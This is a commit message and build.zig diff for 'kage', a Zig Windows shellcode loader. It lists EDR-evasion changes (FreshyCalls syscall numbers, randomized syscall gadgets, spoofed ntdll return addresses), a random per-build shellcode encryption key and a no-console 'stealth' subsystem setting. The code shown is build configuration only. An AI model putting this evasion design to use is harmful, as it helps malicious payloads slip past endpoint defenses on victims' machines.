kage: freshycalls + rand gadgets + stack spoof

- freshycalls sorted export rva table instead of hells gate for SSNs
- 64 syscall;ret gadgets in a pool, picks random via xorshift64
- hells_gate.s pushes fake ntdll return before syscall now
- got rid of the 5 wrapper functions, just one syscall_dispatch
- deleted win32.zig, using std.os.windows. named structs for peb
- asm volatile and enum fixes so this compiles on zig 0.16
- build.zig: added .abi = .gnu, .Windows subsystem

build.zig

@@ -4,31 +4,38 @@ pub fn build(b: *std.Build) void {
     const target = b.standardTargetOptions(.{ .default_target = .{
         .cpu_arch = .x86_64,
         .os_tag = .windows,
+        .abi = .gnu,
     } });
     const optimize = b.standardOptimizeOption(.{});
 
+    var key: [16]u8 = undefined;
+    var rng = std.Random.DefaultPrng.init(@intFromPtr(b));
+    rng.random().bytes(&key);
+    const key_u128 = std.mem.readInt(u128, &key, .little);
+
+    const options = b.addOptions();
+    options.addOption(u128, "shellcode_key", key_u128);
+
     const module = b.createModule(.{
         .root_source_file = b.path("src/main.zig"),
         .target = target,
         .optimize = optimize,
     });
+    module.addOptions("build_options", options);
+    module.addAssemblyFile(b.path("src/hells_gate.s"));
 
     const exe = b.addExecutable(.{
         .name = "kage",
         .root_module = module,
     });
-
-    module.addAssemblyFile(b.path("src/hells_gate.s"));
+    // .Windows = no console window (stealth). Change to .Console for debug output.
     exe.subsystem = .Windows;
 
     b.installArtifact(exe);
 
     const run_cmd = b.addRunArtifact(exe);
     run_cmd.step.dependOn(b.getInstallStep());
-
-    if (b.args) |args| {
-        run_cmd.addArgs(args);
-    }
+    if (b.args) |args| run_cmd.addArgs(args);
 
     const run_step = b.step("run", "Run the loader");
     run_step.dependOn(&run_cmd.step);